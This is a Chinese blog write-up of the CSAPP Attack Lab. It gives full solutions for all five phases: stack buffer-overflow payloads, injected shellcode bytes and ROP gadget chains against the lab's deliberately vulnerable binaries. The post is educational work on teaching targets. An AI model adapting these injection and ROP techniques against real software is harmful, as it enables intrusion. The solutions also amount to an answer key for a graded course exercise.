当前位置:   article > 正文

【逆向】【Attack Lab】漏洞攻击实验解说

attack lab

【逆向】【Attack Lab】漏洞攻击实验解说


CSAPP译名为《深入理解计算机系统》,Attack Lab是这本书的第三个实验,关于前两个实验,可以在 官方链接中找到,关于第二个实验【Bomb Lab】之前有篇 博客已经写过了(不过好像对于Bomb lab的题目有点细微的不一样)

我们的实验可以依照着官方给的说明文档进行参照,依照着这个文档直接开始
在这里插入图片描述

Phase 1

拿到代码后,进行初步尝试,输入命令

./ctarget -q	# 加 -q命令是为了不对接CMU自己的服务器,官方文档里有写
  • 1

在这里插入图片描述
输入普通字符串会普通返回0x1

接下来我们进行逆向查看,我这里使用的是ida pro

在这里插入图片描述
由这两行

sub     rsp, 40
mov     rdi, rsp
  • 1
  • 2

可以看出进入Getbuf函数的时候,rsp下降了40个字节,同时将此时的rsp的值交给了rdi寄存器,这个寄存器是用来储存调用函数时的第一个参数的

所以我们可以理解这部分代码的功能:栈顶往下增加40个字节,通过Gets函数将我们的输入值放置在rsp对应的地址开头

用图表示的话就是这样:
在这里插入图片描述
而且Gets函数有一个很出名的漏洞:它不会关注输入字符的长短问题。

也就是说我们输入40个字节作为填充后,还可以继续输入字符。

所以,查询到touch1函数的地址后,直接构造PayLoad:
在这里插入图片描述

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40
  • 1
  • 2
  • 3
  • 4
  • 5

当然我们不能直接这么输入,因为这个是个字符串,放入内存解析的时候是会按照ASCII码进行解析的,所以我们要将它转换成可以被机器识别出来的编码。

正好我们的Attack Lab官方提供了hex2raw函数,我们使用它就可以直接将我们的16进制格式的文本转化成可以直接存储在内存中的编码。

我们将PayLoad存储在1.txt文件中,然后使用 hex2raw函数

./hex2raw < 1.txt >raw.txt
./ctarget -q -i raw.txt
  • 1
  • 2

得到结果
在这里插入图片描述

Phase 2

第二关,我们看看官方文档,就是要在getbuf函数返回时执行touch2函数

函数如下

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
        }
    exit(0);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

发现这次我们的函数是有一个参数的,而且这个参数要等于我们的cookie值。

所以这个phase不能像一开始那样只改一个返回地址了,不然就只会得到

printf("Misfire: You called touch2(0x%.8x)\n", val);
  • 1

这里的语句。

构造Payload

我们的思路是在我们输入的地方,直接构成汇编指令,同时我们将返回地址的部分修改成我们的栈顶位置,这样就可以使得我们函数完成后的返回值直接跳到栈顶,来执行我们想要的操作。
在这里插入图片描述

首先我们考虑到,返回的地址是需要返回到rsp指向的值,所以我们需要找到rsp的值,这里可以使用gdb来获取rsp的值。(我其实想用用其他的工具的,像是OllyDbg或者x64Dbg这种动态调试一下,不过后面发现是Elf文件格式,如果有人可以用OllyDbg弄的话教教我吧哈哈哈。。。)

我们直接用gdb来操作,

gdb ./ctarget
(gdb) b getbuf	# 在getbuf函数开头打一个断点
(gdb) run -q	# 运行程序到断点位置
(gdb) step		# 运行一行程序
(gdb) p/x $rsp 	# 获取$rsp的值
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
可以看到rsp的值为0x5561dc78

其次,我们要进行一个push操作,将touch2的返回地址压栈,这样做的原因是和ret指令联动

ret指令要做的事,是将此时的栈顶元素弹出,放进rip寄存器中,变成下一个运行指令。

我们提前将touch2的地址进行压栈,那在函数结束的时候,弹出的就是touch2的地址,就会按照touch2函数逻辑进行执行,弥补了我们将返回地址改为我们自己的代码结果找不到touch2函数的尴尬情况。

由此,构建出汇编代码:

movq edi,0x59b997fa
push 0x4017EC
ret
  • 1
  • 2
  • 3

至此,我们的逻辑就已经讲清楚了。

接着就是要将这份代码变为机器码,我们使用gcc和objdump工具来执行

在这里插入图片描述

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 
  • 1

就是我们需要的机器码

所以最终的Payload如下:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55
  • 1
  • 2
  • 3
  • 4
  • 5

按照上面的方式,完成
在这里插入图片描述

phase 3

我们可以得到源码,

void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

其实我们可以感觉到,之前phase 2的思路其实是有点通用性在身上的。phase 2 的思路无外乎是:push指令和ret指令的联动:

  • 首先mov指令输入第一个参数
  • push指令来设置返回地址
  • ret指令弹出这个返回地址

那其实在phase 3中也可以实现这个方式,我们的思路是这样:

  • mov指令写入我们的字符串的地址(这个地址可以是内存中任意位置,但是注意要是十六进制)
  • push一下我们想要跳跃到达的地址
  • ret返回(ret指令相当于pop我们之前push的地址)

对于跳跃的地址,我们可以将调用getbuf的函数test中的地址当作我们要使用的地址,这个地址用来存储字符串cookie的值。

我们使用gdb来查找一下test函数运行时的rsp栈顶的值。

在这里插入图片描述
可以知道这个时候栈顶是0x5561dca8,这是我们输入48字节后能达到的地方

所以我们phase 3 的汇编代码也可以试试了,构造汇编代码为:

movq rdi,0x5561dca8		# 这个0x5561dca8是我们准备存储的字符串的地址
push 0x4018FA			# touch3
ret
  • 1
  • 2
  • 3

获得机器码:

   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq
  • 1
  • 2
  • 3

所以构造PayLoad:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

注入即可
在这里插入图片描述

phase 4

第4题往后就是另一个主题了,这个主题是Return-Oriented Programming,也就是ROP攻击,主要运用的是ret指令,将系统中有的数据识别为命令,并且加以执行。

而这个Return-Oriented的意思,就是指利用了ret指令,每一个ret指令都会将栈顶元素直接弹出,所以如果我们将此时的栈顶都是我们想要的地址,那就会直接想跳到哪里跳到哪里

这个知识我看了一下午。。。Attack Lab实验还是适合跟着教程一步步理解。

rtarget文件中存在很多可以使用的函数,文档里面把这些由ret命令结尾的叫做"Gadget",我也不知道为啥这么命名。函数如下:
在这里插入图片描述
哈哈哈看着好像有点太乱了,别人有的博客整理了下,我贴过来

000000000040199a <getval_142>:
  40199a:   b8 fb 78 90 90          mov    $0x909078fb,%eax
  40199f:   c3                      retq   

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

00000000004019ae <setval_237>:
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq   

00000000004019b5 <setval_424>:
  4019b5:   c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  4019bb:   c3                      retq   

00000000004019bc <setval_470>:
  4019bc:   c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)
  4019c2:   c3                      retq   

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq   

00000000004019ca <getval_280>:
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

同时,官方文档还给你了关于一些机器码和汇编代码的对应关系

在这里插入图片描述
我们需要的语句大致如下:

pop %rax	#cookie值给了rax
ret			#命令地址弹出

mov %rax,%rdi	
ret
  • 1
  • 2
  • 3
  • 4
  • 5

然后我们构造的栈大致如下,语言有点难以描述,看图吧

请添加图片描述
那么我们构造的PayLoad就是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

获得结果
在这里插入图片描述

phase 5

绷不住了,官方文档一开头是个劝退文。
在这里插入图片描述

第五题就是在 rtarget中通过touch3,我们思路和上面一题一样就好了,但是问题其实是,我们之前在ctarget的touch3中是可以直接获取到栈中的地址的,所以可以直接像这样:

movq rdi,0x5561dca8		# 这个0x5561dca8是我们准备存储的字符串的地址
push 0x4018FA			# touch3
ret
  • 1
  • 2
  • 3

直接获取我们存在栈中的字符串的地址。

但是现在不行了,所以我们要通过构造来解决。以下都是我根据参考了一下其他博客的思路写的汇编。

构造汇编


movq %rsp, %rax
ret

movq %rax, %rdi
ret

popq %rax
ret

movl %eax, %edx
ret

movl %edx, %ecx
ret

movl %ecx, %esi
ret

lea    (%rdi,%rsi,1),%rax		# 这个是个函数,在rtarget里面直接就有这个函数,地址在0x4019D6
ret

movq %rax, %rdi
ret
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

不要问前几个汇编代码为什么要绕这么大个圈子,问就是找不到简便的指令地址,借用的一个大佬博客的思路

接下来就是一个个找这些指令的机器码对应的地址了

构造PayLoad

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
ad 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

成功。
在这里插入图片描述

至此,Attack Lab全部结束。花费了我差不多三个下午的时间,还是很长了感觉,收获还是有,不过确实像是官方文档说的,第五题没什么必要花费很长时间去完成它,它里面有些根本你想不到的事情,比如说直接给你一个add_xy函数,这谁能想到。。。除非真的是时间和精力多

参考博客:
https://zhuanlan.zhihu.com/p/476396465

https://zhuanlan.zhihu.com/p/60724948

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/827881
推荐阅读
相关标签
  

闽ICP备14008679号